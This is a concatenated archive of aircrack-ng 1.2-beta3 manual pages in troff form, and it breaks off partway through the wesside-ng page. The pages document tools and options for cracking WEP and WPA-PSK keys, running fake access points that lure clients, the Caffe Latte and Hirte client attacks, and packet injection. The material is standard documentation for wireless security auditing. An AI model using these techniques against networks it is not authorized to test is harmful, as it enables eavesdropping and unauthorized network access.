rootrootaircrack-ng-1.2-beta3/manpages/airmon-zc.80000644000000000000000000000402512316414264017016 0ustar rootroot.TH AIRMON-ZC 8 "March 2014" "Version 1.2-beta3" .SH NAME airmon-zc - bash script designed to turn wireless cards into monitor mode, Zero_Chaos version .SH SYNOPSIS .B airmon-zc [channel] .B airmon-zc [kill] .SH DESCRIPTION .BI airmon-zc is script can be used to enable monitor mode on wireless interfaces. It may also be used to go back from monitor mode to managed mode. Entering the airmon-zc command without parameters will show the interfaces status. It can list/kill programs that can interfere with the wireless card and set the right sources in /etc/kismet/kismet.conf too. .SH OPTIONAL PARAMETERS .PP .TP .I start [channel] Enable monitor mode on an interface (and specify a channel). Note: Madwifi-ng is a special case, \(aqstart\(aq has to be used on wifi interfaces and \(aqstop\(aq on ath interfaces. .I stop Disable monitor mode and go back to managed mode (except for madwifi-ng where it kills the ath VAP). .TP .I check [kill] List all possible programs that could interfere with the wireless card. If \(aqkill\(aq is specified, it will try to kill all of them. .SH AUTHOR This manual page was written by Adam Cecile for the Debian system (but may be used by others). And modified to fit airmon-zc by David Francos Cuartero . Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airmon-ng(8) .br .B airbase-ng(8) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airdriver-ng(8) .br .B aireplay-ng(8) .br .B airodump-ng(8) .br .B airolib-ng(1) .br .B airserv-ng(8) .br .B airtun-ng(8) .br .B buddy-ng(1) .br .B easside-ng(8) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B tkiptun-ng(8) .br .B wesside-ng(8) aircrack-ng-1.2-beta3/manpages/makeivs-ng.10000644000000000000000000000236712316414264017160 0ustar rootroot.TH MAKEIVS-NG 1 "March 2014" "Version 1.2-beta3" .SH NAME makeivs - generate a dummy IVS dump file with a specific WEP key .SH SYNOPSIS .B makeivs <104-bit key> .SH DESCRIPTION .BI makeivs is a tool designed to generate an IVS dump file with an inputed WEP key. The aim of is tools is to provide a way to create dumps with a known encryption key for tests. .SH EXAMPLE .B makeivs makeivs out.ivs 123456789ABCDEF123456789AB .SH AUTHOR This manual page was written by Adam Cecile for the Debian system (but may be used by others). Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(8) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airdriver-ng(8) .br .B aireplay-ng(8) .br .B airmon-ng(8) .br .B airodump-ng(8) .br .B airolib-ng(1) .br .B airserv-ng(8) .br .B airtun-ng(8) .br .B buddy-ng(1) .br .B easside-ng(8) .br .B ivstools(1) .br .B kstats(1) .br .B packetforge-ng(1) .br .B tkiptun-ng(8) .br .B wesside-ng(8) aircrack-ng-1.2-beta3/manpages/airdecloak-ng.10000644000000000000000000000631712316414264017616 0ustar rootroot.TH AIRDECLOAK-NG 1 "March 2014" "Version 1.2-beta3" .SH NAME airuncloak-ng - Removes wep cloaked framed from a pcap file. .SH SYNOPSIS .B airuncloak-ng .SH DESCRIPTION .BI airuncloak-ng is a tool that removes wep cloaking from a pcap file. Some WIPS (actually one) can actively "prevent" cracking a WEP key by inserting chaff (fake wep frames) in the air to fool aircrack-ng. In some rare cases, cloaking fails and the key can be recovered without removing this chaff. In the cases where the key cannot be recovered, use this tool to filter out chaff. The program works by reading the input file and selecting packets from a specific network. Each selected packet is put into a list and classified (default status is "unknown"). Filters are then applied (in the order specified by the user) on this list. They will change the status of the packets (unknown, uncloaked, potentially cloaked or cloaked). The order of the filters is really important since each filter will base its analysis amongst other things on the status of the packets and different orders will give different results. Important requirement: The pcap file needs to have all packets (including beacons and all other "useless" packets) for the analysis (and if possible, prism/radiotap headers). .SH OPTIONS .PP .TP .I -h, --help Shows the help screen. .TP .I -i Path to the capture file. .TP .I --ssid Essid of the network (not yet implemented) to filter. .TP .I --bssid BSSID of the network to filter. .TP .I --null-packets Assume that null packets can be cloaked. .TP .I --disable-base-filter Do not apply base filter. .TP .I --drop-frag Drop fragmented packets. .TP .I --filters Apply different filters (separated by a comma). See below. .SH FILTERS .PP .TP .I signal Try to filter based on signal (prism or radiotap headers in the pcap file). .TP .I duplicate_sn Remove all duplicate sequence numbers for both the AP and the client (that are close to each other). .TP .I duplicate_sn_ap Remove duplicate sequence number for the AP only (that are close to each other). .TP .I duplicate_sn_client Remove duplicate sequence number for the client only (that are close to each other). .TP .I consecutive_sn Filter based on the fact that IV should be consecutive (only for AP). .TP .I duplicate_iv Filter out all duplicate IV. .TP .I signal_dup_consec_sn Use signal (if available), duplicate and consecutive sequence number (filtering is much more precise than using all these filters one by one). .SH AUTHOR This manual page was written by Thomas d\(aqOtreppe. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(8) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdriver-ng(8) .br .B aireplay-ng(8) .br .B airmon-ng(8) .br .B airodump-ng(8) .br .B airolib-ng(1) .br .B airserv-ng(8) .br .B airtun-ng(8) .br .B buddy-ng(1) .br .B easside-ng(8) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B tkiptun-ng(8) .br .B wesside-ng(8) aircrack-ng-1.2-beta3/manpages/airdecap-ng.10000644000000000000000000000336012316414264017263 0ustar rootroot.TH AIRDECAP-NG 1 "March 2014" "Version 1.2-beta3" .SH NAME airdecap-ng - decrypt a WEP/WPA crypted pcap file .SH SYNOPSIS .B airdecap-ng [options] .SH DESCRIPTION .BI airdecap-ng decrypts a WEP/WPA crypted pcap file to a uncrypted one by using the right WEP/WPA keys. .SH OPTIONS .TP .I -H, --help Shows the help screen. .TP .I -l Do not remove the 802.11 header. .TP .I -b Access point MAC address filter. .TP .I -k WPA Pairwise Master Key in hex. .TP .I -e Target network SSID. For SSID containing special characters, see http://www.aircrack-ng.org/doku.php?id=faq#how_to_use_spaces_double_quote_and_single_quote_etc._in_ap_names .TP .I -p Target network WPA passphrase. .TP .I -w Target network WEP key in hex. .SH EXAMPLES airdecap-ng \-b 00:09:5B:10:BC:5A open-network.cap .br airdecap-ng \-w 11A3E229084349BC25D97E2939 wep.cap .br airdecap-ng \-e my_essid \-p my_passphrase tkip.cap .br .SH AUTHOR This manual page was written by Adam Cecile for the Debian system (but may be used by others). Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(8) .br .B aircrack-ng(1) .br .B airdecloak-ng(1) .br .B airdriver-ng(8) .br .B aireplay-ng(8) .br .B airmon-ng(8) .br .B airodump-ng(8) .br .B airolib-ng(1) .br .B airserv-ng(8) .br .B airtun-ng(8) .br .B buddy-ng(1) .br .B easside-ng(8) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B tkiptun-ng(8) .br .B wesside-ng(8) aircrack-ng-1.2-beta3/manpages/buddy-ng.10000644000000000000000000000237712316414264016631 0ustar rootroot.TH BUDDY-NG 1 "March 2014" "Version 1.2-beta3" .SH NAME buddy-ng - a tool to work with easside-ng .SH SYNOPSIS .B buddy-ng .SH DESCRIPTION .BI buddy-ng server echoes back the decrypted packets to the system running easside-ng in order to access the wireless network without knowing the WEP key. It is done by having the AP itself decrypt the packets. When ran, it automatically starts and listen to port 6969. .SH OPTIONS .PP .TP .I -h Shows the help screen. .TP .I -p Don\(aqt drop privileges .SH AUTHOR This manual page was written by Thomas d\(aqOtreppe. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(8) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airdriver-ng(8) .br .B aireplay-ng(8) .br .B airmon-ng(8) .br .B airodump-ng(8) .br .B airolib-ng(1) .br .B airserv-ng(8) .br .B airtun-ng(8) .br .B easside-ng(8) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B tkiptun-ng(8) .br .B wesside-ng(8) aircrack-ng-1.2-beta3/manpages/airbase-ng.80000644000000000000000000002575612316414264017145 0ustar rootroot.TH AIRBASE-NG 8 "March 2014" "Version 1.2-beta3" .SH NAME airbase-ng - multi-purpose tool aimed at attacking clients as opposed to the Access Point (AP) itself .SH SYNOPSIS .B airbase-ng [options] .SH DESCRIPTION .BI airbase-ng is multi-purpose tool aimed at attacking clients as opposed to the Access Point (AP) itself. Since it is so versatile and flexible, summarizing it is a challenge. Here are some of the feature highlights: .br - Implements the Caffe Latte WEP client attack .br - Implements the Hirte WEP client attack .br - Ability to cause the WPA/WPA2 handshake to be captured .br - Ability to act as an ad-hoc Access Point .br - Ability to act as a full Access Point .br - Ability to filter by SSID or client MAC addresses .br - Ability to manipulate and resend packets .br - Ability to encrypt sent packets and decrypt received packets The main idea is of the implementation is that it should encourage clients to associate with the fake AP, not prevent them from accessing the real AP. A tap interface (atX) is created when airbase-ng is run. This can be used to receive decrypted packets or to send encrypted packets. As real clients will most probably send probe requests for common/configured networks, these frames are important for binding a client to our softAP. In this case, the AP will respond to any probe request with a proper probe response, which tells the client to authenticate to the airbase-ng BSSID. That being said, this mode could possibly disrupt the correct functionality of many APs on the same channel. .SH OPTIONS .PP .TP .I -H, --help Shows the help screen. .TP .I -a If the BSSID is not explicitly specified by using "-a ", then the current MAC of the specified interface is used. .TP .I -i Also capture and process from this interface in addition to the replay interface. .TP .I -w If WEP should be used as encryption, then the parameter "-w " sets the en-/decryption key. This is sufficient to let airbase-ng set all the appropriate flags by itself. If the softAP operates with WEP encryption, the client can choose to use open system authentication or shared key authentication. Both authentication methods are supported by airbase-ng. But to get a keystream, the user can try to force the client to use shared key authentication. "-s" forces a shared key auth and "-S " sets the challenge length. .TP .I -h This is the source MAC for the man-in-the-middle attack. The "-M" must also be specified. .TP .I -f If this option is not specified, it defaults to "-f allow". This means the various client MAC filters (-d and -D) define which clients to accept. By using the "-f disallow" option, this reverses selection and causes airbase to ignore the clients specified by the filters. .TP .I -W <0|1> This sets the beacon WEP flag. Remember that clients will normally only connect to APs which are the same as themselves. Meaning WEP to WEP, open to open. The "auto" option is to allow airbase-ng to automatically set the flag based on context of the other options specified. For example, if you set a WEP key with -w, then the beacon flag would be set to WEP. One other use of "auto" is to deal with clients which can automatically adjust their connection type. However, these are few and far between. In practice, it is best to set the value to the type of clients you are dealing with. .TP .I -q This suppresses printing any statistics or status information. .TP .I -v This prints additional messages and details to assist in debugging. .TP .I -M This option is not implemented yet. It is a man-in-the-middle attack between specified clients and BSSIDs. .TP .I -A, --ad-hoc This causes airbase-ng to act as an ad-hoc client instead of a normal Access Point. In ad-hoc mode airbase-ng also sends beacons, but doesn\(aqt need any authentication/association. It can be activated by using "-A". The soft AP will adjust all flags needed to simulate a station in ad-hoc mode automatically and generate a random MAC, which is used as CELL MAC instead of the BSSID. This can be overwritten by the "-a " tag. The interface MAC will then be used as source mac, which can be changed with "-h ". .TP .I -Y The parameter "-Y" enables the "external processing" Mode. This creates a second interface "atX", which is used to replay/modify/drop or inject packets at will. This interface must also be brought up with ifconfig and an external tool is needed to create a loop on that interface. The packet structure is rather simple: the ethernet header (14 bytes) is ignored and right after that follows the complete ieee80211 frame the same way it is going to be processed by airbase-ng (for incoming packets) or before the packets will be sent out of the wireless card (outgoing packets). This mode intercepts all data packets and loops them through an external application, which decides what happens with them. The MAC and IP of the second tap interface doesn\(aqt matter, as real ethernet frames on this interface are dropped dropped anyway. There are 3 arguments for "-Y": "in", "out" and "both", which specify the direction of frames to loop through the external application. Obviously "in" redirects only incoming (through the wireless NIC) frames, while outgoing frames aren\(aqt touched. "out" does the opposite, it only loops outgoing packets and "both" sends all both directions through the second tap interface. There is a small and simple example application to replay all frames on the second interface. The tool is called "replay.py" and is located in "./test". It\(aqs written in python, but the language doesn\(aqt matter. It uses pcapy to read the frames and scapy to possibly alter/show and reinject the frames. The tool as it is, simply replays all frames and prints a short summary of the received frames. The variable "packet" contains the complete ieee80211 packet, which can easily be dissected and modified using scapy. This can be compared to ettercap filters, but is more powerful, as a real programming language can be used to build complex logic for filtering and packet customization. The downside on using python is, that it adds a delay of around 100ms and the cpu utilizations is rather large on a high speed network, but its perfect for a demonstration with only a few lines of code. .TP .I -c This is used to specify the channel on which to run the Access Point. .TP .I -X, --hidden This causes the Access Point to hide the SSID and to not broadcast the value. .TP .I -s When specfiied, this forces shared key authentication for all clients. The soft AP will send an "authentication method unsupported" rejection to any open system authentication request if "-s" is specified. .TP .I -S It sets the shared key challenge length, which can be anything from 16 to 1480. The default is 128 bytes. It is the number of bytes used in the random challenge. Since one tag can contain a maximum size of 255 bytes, any value above 255 creates several challenge tags until all specified bytes are written. Many clients ignore values different than 128 bytes so this option may not always work. .TP .I -L, --caffe-latte Airbase-ng also contains the new caffe-latte attack, which is also implemented in aireplay-ng as attack "-6". It can be used with "-L" or "caffe-latte". This attack specifically works against clients, as it waits for a broadcast arp request, which happens to be a gratuitous arp. See this for an explaination of what a gratuitous arp is. It then flips a few bits in the sender MAC and IP, corrects the ICV (crc32) value and sends it back to the client, where it came from. The point why this attack works in practice is, that at least windows sends gratuitous arps after a connection on layer 2 is established and a static ip is set, or dhcp fails and windows assigned an IP out of 169.254.X.X. "-x " sets the number of packets per second to send when performing the caffe-latte attack. At the moment, this attack doesn\(aqt stop, it continuously sends arp requests. Airodump-ng is needed to capture the replies. .TP .I -N, --cfrag This attack listens for an ARP request or IP packet from the client. Once one is received, a small amount of PRGA is extracted and then used to create an ARP request packet targeted to the client. This ARP request is actually made of up of multiple packet fragments such that when received, the client will respond. This attack works especially well against ad-hoc networks. As well it can be used against softAP clients and normal AP clients. .TP .I -x This sets the number of packets per second that packets will be sent (default: 100). .TP .I -y When using this option, the fake AP will not respond to broadcast probes. A broadcast probe is where the the specific AP is not identified uniquely. Typically, most APs will respond with probe responses to a broadcast probe. This flag will prevent this happening. It will only respond when the specific AP is uniquely requested. .TP .I -0 This enables all WPA/WPA2/WEP Tags to be enabled in the beacons sent. It cannot be specified when also using -z or -Z. .TP .I -z This specifies the WPA beacon tags. The valid values are: 1=WEP40 2=TKIP 3=WRAP 4=CCMP 5=WEP104. .TP .I -Z same as -z, but for WPA2 .TP .I -V This specifies the valid EAPOL types. The valid values are: 1=MD5 2=SHA1 3=auto .TP .I -F This option causes airbase-ng to write all sent and received packets to a pcap file on disk. This is the file prefix (like airodump-ng -w). .TP .I -P This causes the fake access point to respond to all probes regardless of the ESSIDs specified. .TP .I -I This sets the time in milliseconds between each beacon. .TP .I -C The wildcard ESSIDs will also be beaconed this number of seconds. A good typical value to use is "-C 60" (require -P). .PP .TP .B Filter options: .TP .I --bssid , -b BSSID to filter/use. .TP .I --bssids , -B Read a list of BSSIDs out of that file. .TP .I --client , -d MAC of client to accept. .TP .I --clients , -D Read a list of client\(aqs MACs out of that file .TP .I --essid , -e Specify a single ESSID. For SSID containing special characters, see http://www.aircrack-ng.org/doku.php?id=faq#how_to_use_spaces_double_quote_and_single_quote_etc._in_ap_names .TP .I --essids , -E read a list of ESSIDs out of that file. .SH AUTHOR This manual page was written by Thomas d\(aqOtreppe. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .PP .SH SEE ALSO .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airdriver-ng(8) .br .B aireplay-ng(8) .br .B airmon-ng(8) .br .B airodump-ng(8) .br .B airolib-ng(1) .br .B airserv-ng(8) .br .B buddy-ng(1) .br .B easside-ng(8) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B tkiptun-ng(8) .br .B wesside-ng(8) aircrack-ng-1.2-beta3/manpages/wpaclean.10000644000000000000000000000200512316414264016676 0ustar rootroot.TH WPACLEAN 1 "March 2014" "Version 1.2-beta3" .SH NAME wpaclean - clean wpa capture files .SH SYNOPSIS .B wpaclean [in2.cap] [...] .SH DESCRIPTION .BI wpaclean Cleans capture files to get only the 4-way handshake and a beacon. .SH AUTHOR This manual page was written by David Francos Cuartero . Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .PP .SH SEE ALSO .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airdriver-ng(8) .br .B aireplay-ng(8) .br .B airmon-ng(8) .br .B airodump-ng(8) .br .B airolib-ng(1) .br .B airserv-ng(8) .br .B buddy-ng(1) .br .B easside-ng(8) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B tkiptun-ng(8) .br .B wesside-ng(8) aircrack-ng-1.2-beta3/manpages/aircrack-ng.10000644000000000000000000001232212316414264017270 0ustar rootroot.TH AIRCRACK-NG 1 "March 2014" "Version 1.2-beta3" .SH NAME aircrack-ng - a 802.11 WEP / WPA-PSK key cracker .SH SYNOPSIS .B aircrack-ng [options] <.cap / .ivs file(s)> .SH DESCRIPTION .BI aircrack-ng is an 802.11 WEP and WPA/WPA2-PSK key cracking program. .br It can recover the WEP key once enough encrypted packets have been captured with airodump-ng. This part of the aircrack-ng suite determines the WEP key using two fundamental methods. The first method is via the PTW approach (Pyshkin, Tews, Weinmann). The main advantage of the PTW approach is that very few data packets are required to crack the WEP key. The second method is the FMS/KoreK method. The FMS/KoreK method incorporates various statistical attacks to discover the WEP key and uses these in combination with brute forcing. .br Additionally, the program offers a dictionary method for determining the WEP key. For cracking WPA/WPA2 pre-shared keys, a wordlist (file or stdin) or an airolib-ng has to be used. .SH OPTIONS .TP .B Common options: .TP .I -a Force the attack mode, 1 or wep for WEP and 2 or wpa for WPA-PSK. .TP .I -e Select the target network based on the ESSID. This option is also required for WPA cracking if the SSID is cloacked. For SSID containing special characters, see http://www.aircrack-ng.org/doku.php?id=faq#how_to_use_spaces_double_quote_and_single_quote_etc._in_ap_names .TP .I -b or --bssid Select the target network based on the access point MAC address. .TP .I -p Set this option to the number of CPUs to use (only available on SMP systems). By default, it uses all available CPUs .TP .I -q If set, no status information is displayed. .TP .I -C or --combine Merges all those APs MAC (separated by a comma) into a virtual one. .TP .I -l Write the key into a file. .TP .I -E Create Elcomsoft Wireless Security Auditor (EWSA) Project file v3.02. .PP .TP .B Static WEP cracking options: .TP .I -c Search alpha-numeric characters only. .TP .I -t Search binary coded decimal characters only. .TP .I -h Search the numeric key for Fritz!BOX .TP .I -d or --debug Specify mask of the key. For example: A1:XX:CF .TP .I -m Only keep the IVs coming from packets that match this MAC address. Alternatively, use \-m ff:ff:ff:ff:ff:ff to use all and every IVs, regardless of the network (this disables ESSID and BSSID filtering). .TP .I -n Specify the length of the key: 64 for 40-bit WEP, 128 for 104-bit WEP, etc., until 512 bits of length. The default value is 128. .TP .I -i Only keep the IVs that have this key index (1 to 4). The default behaviour is to ignore the key index in the packet, and use the IV regardless. .TP .I -f By default, this parameter is set to 2. Use a higher value to increase the bruteforce level: cracking will take more time, but with a higher likelihood of success. .TP .I -k There are 17 KoreK attacks. Sometimes one attack creates a huge false positive that prevents the key from being found, even with lots of IVs. Try \-k 1, \-k 2, ... \-k 17 to disable each attack selectively. .TP .I -x or -x0 Disable last keybytes bruteforce (not advised). .TP .I -x1 Enable last keybyte bruteforcing (default) .TP .I -x2 Enable last two keybytes bruteforcing. .TP .I -X Disable bruteforce multithreading (SMP only). .TP .I -s Shows ASCII version of the key at the right of the screen. .TP .I -y This is an experimental single brute-force attack which should only be used when the standard attack mode fails with more than one million IVs. .TP .I -z Uses PTW (Andrei Pyshkin, Erik Tews and Ralf-Philipp Weinmann) attack (default attack). .TP .I -P or --ptw-debug PTW debug: 1 Disable klein, 2 PTW. .TP .I -K Use KoreK attacks instead of PTW. .TP .I -D or --wep-decloak WEP decloak mode. .TP .I -1 or --oneshot Run only 1 try to crack key with PTW. .TP .I -M Specify maximum number of IVs to use. .PP .TP .B WEP and WPA-PSK cracking options .TP .I -w Path to a dictionary file for wpa cracking. Specify "-" to use stdin. Here is a list of wordlists: http://www.aircrack-ng.org/doku.php?id=faq#where_can_i_find_good_wordlists .PP .TP .B WPA-PSK cracking options: .TP .I -S WPA cracking speed test. .TP .I -r Path to the airolib-ng database. Cannot be used with \(aq-w\(aq. .PP .TP .B Other options: .TP .I -H or --help Show help screen .TP .I -u or --cpu-detect Provide information on the number of CPUs and MMX/SSE support .SH AUTHOR This manual page was written by Adam Cecile for the Debian system (but may be used by others). Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(8) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airdriver-ng(8) .br .B aireplay-ng(8) .br .B airmon-ng(8) .br .B airodump-ng(8) .br .B airolib-ng(1) .br .B airserv-ng(8) .br .B airtun-ng(8) .br .B buddy-ng(1) .br .B easside-ng(8) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B tkiptun-ng(8) .br .B wesside-ng(8) aircrack-ng-1.2-beta3/manpages/airtun-ng.80000644000000000000000000000423312316414264017024 0ustar rootroot.TH AIRTUN-NG 8 "March 2014" "Version 1.2-beta3" .SH NAME airtun-ng - a virtual tunnel interface creator for aircrack-ng .SH SYNOPSIS .B airtun-ng [options] .SH DESCRIPTION .BI airtun-ng creates a virtual tunnel interface (atX) for sending arbitrary IP packets by using raw ieee802.11 packet injection. .SH OPTIONS .PP .TP .I -H, --help Shows the help screen. .TP .I -x Sets maximum number of packets per second. .TP .I -a Specifies the BSSID for the iee802.11 header. In WDS Mode this sets the Receiver. .TP .I -h Specifies the source MAC for the iee802.11 header. .TP .I -i Sets the capture interface. .TP .I -r Specifies a file to read 802.11 frames. .TP .I -y Is the name of the file, which provides the keystream for WEP encoding. (No receiving, just transmitting of IP packets.) .TP .I -w This is the WEP key to en-/decrypt all traffic going through the tunnel. .TP .I -t Defines the ToDS and FromDS bit in the ieee802.11 header. For tods=1, the ToDS bit is set to 1 and FromDS to 0, while tods=0 sets them the other way around. If set to 2, it will be tunneled in a WDS/bridge. .TP .I -m , --netmask Filters networks based on bssid ^ netmask combination. Needs \-d, used in replay mode. .TP .I -d , --bssid Filters networks based on the . Used in replay mode. .TP .I -f, --repeat Enables replay mode. All read frames, filtered by bssid and netmask (if specified), will be replayed. .TP .I -s Set Transmitter MAC address for WDS Mode. .TP .I -b Bidirectional mode. This enables communication in Transmitter\(aqs AND Receiver\(aqs networks. Works only if you can see both stations. .SH EXAMPLES .B airtun-ng \-a 00:14:22:56:F3:4E \-t 0 \-y keystream.xor wlan0 .PP .SH SEE ALSO .br .B airbase-ng(8) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airdriver-ng(8) .br .B aireplay-ng(8) .br .B airmon-ng(8) .br .B airodump-ng(8) .br .B airolib-ng(1) .br .B airserv-ng(8) .br .B buddy-ng(1) .br .B easside-ng(8) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B tkiptun-ng(8) .br .B wesside-ng(8) aircrack-ng-1.2-beta3/manpages/airolib-ng.10000644000000000000000000000420512316414264017133 0ustar rootroot.TH AIROLIB-NG 1 "March 2014" "Version 1.2-beta3" .SH NAME airolib-ng - manage and create a WPA/WPA2 pre-computed hashes tables .SH SYNOPSIS .B airolib-ng [options] .SH DESCRIPTION .BI airolib-ng is a tool for the aircrack-ng suite to store and manage essid and password lists, compute their Pairwise Master Keys (PMKs) and use them in WPA/WPA2 cracking. The program uses the lightweight SQLite3 database as the storage mechanism which is available on most platforms. The SQLite3 database was selected taking in consideration platform availability plus management, memory and disk overhead. .SH DATABASE .TP .I database It is name of the database file. Optionally specify the full path. .SH OPERATION .TP .I --stats Output information about the database. .TP .I --sql Execute specified SQL statement. .TP .I --clean [all] Clean the database from old junk. When specifying \(aqall\(aq, it will also reduce filesize if possible and run an integrity check. .TP .I --batch Start batch-processing all combinations of ESSIDs and passwords. .TP .I --verify [all] Verify a set of randomly chosen PMKs. If \(aqall\(aq is given, all invalid PMK in the database will be deleted. .TP .I --import [essid|passwd] Import a flat file as a list of ESSIDs or passwords. .TP .I import cowpatty Import a coWPAtty file. .TP .I --export cowpatty Export to a cowpatty file. .SH AUTHOR This manual page was written by Thomas d\(aqOtreppe. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(8) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airdriver-ng(8) .br .B aireplay-ng(8) .br .B airmon-ng(8) .br .B airodump-ng(8) .br .B airserv-ng(8) .br .B airtun-ng(8) .br .B buddy-ng(1) .br .B easside-ng(8) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B tkiptun-ng(8) .br .B wesside-ng(8) aircrack-ng-1.2-beta3/manpages/airserv-ng.80000644000000000000000000000361512316414264017200 0ustar rootroot.TH AIRSERV-NG 8 "March 2014" "Version 1.2-beta3" .SH NAME airserv-ng - a wireless card server .SH SYNOPSIS .B airserv-ng .SH DESCRIPTION .BI airserv-ng is a wireless card server which allows multiple wireless application programs to independently use a wireless card via a client-server TCP network connection. All operating system and wireless card driver specific code is incorporated into the server. This eliminates the need for each wireless application to contain the complex wireless card and driver logic. It is also supports multiple operating systems. .SH OPTIONS .PP .TP .I -h Shows the help screen. .TP .I -p TCP port to listen on (by default: 666). .TP .I -d Wifi interface to use. .TP .I -c Lock interface to this channel. .TP .I -v Debug level. There are 3 debug levels. Debug level of 1 shows client connection/disconnection (default). Debug level of 2 shows channel change requests and invalid client command requests in addition to the debug level 1 messages. Debug level of 3 displays a message each time a packet (and its length) is sent to the client. It also include messages from level 2 (and 1). .SH AUTHOR This manual page was written by Thomas d\(aqOtreppe. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(8) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airdriver-ng(8) .br .B aireplay-ng(8) .br .B airmon-ng(8) .br .B airodump-ng(8) .br .B airolib-ng(1) .br .B airtun-ng(8) .br .B buddy-ng(1) .br .B easside-ng(8) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B tkiptun-ng(8) .br .B wesside-ng(8) aircrack-ng-1.2-beta3/manpages/besside-ng-crawler.10000644000000000000000000000242012316414264020562 0ustar rootroot.TH BESSIDE-NG-CRAWLER 1 "March 2014" "Version 1.2-beta3" .SH NAME besside-ng-crawler - filter EAPOL frames from a directory of capture files. .SH SYNOPSIS .B besside-ng-crawler .SH DESCRIPTION .BI besside-ng-crawler Scans recursively on input directory looking for pcap dumpfiles and filters out one beacon and all EAPOL frames for the WPA networks if finds in them. This tool is intended to crawl capfiles to upload them to sorbo's WPA statistic server at http://www.darkircop.org .SH AUTHOR This manual page was written by David Francos Cuartero. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(8) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airdriver-ng(8) .br .B aireplay-ng(8) .br .B airmon-ng(8) .br .B airodump-ng(8) .br .B airolib-ng(1) .br .B airserv-ng(8) .br .B airtun-ng(8) .br .B buddy-ng(1) .br .B easside-ng(8) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B tkiptun-ng(8) aircrack-ng-1.2-beta3/manpages/wesside-ng.80000644000000000000000000000454012316414264017166 0ustar rootroot.TH WESSIDE-NG 8 "March 2014" "Version 1.2-beta3" .SH NAME wesside-ng - crack a WEP key of an open network without user intervention .SH SYNOPSIS .B wesside-ng .SH DESCRIPTION .BI wesside-ng is an auto-magic tool which incorporates a number of techniques to seamlessly obtain a WEP key in minutes. It first identifies a network, then proceeds to associate with it, obtain PRGA (pseudo random generation algorithm) xor data, determine the network IP scheme, reinject ARP requests and finally determine the WEP key. All this is done without your intervention. .SH OPTIONS .PP .TP .I -h Shows the help screen. .TP .I -i Wireless interface name. (Mandatory) .TP .I -n Network IP as in \(aqwho has destination IP (netip) tell source IP (myip)\(aq. Defaults to the source IP on the ARP request which is captured and decrypted. (Optional) 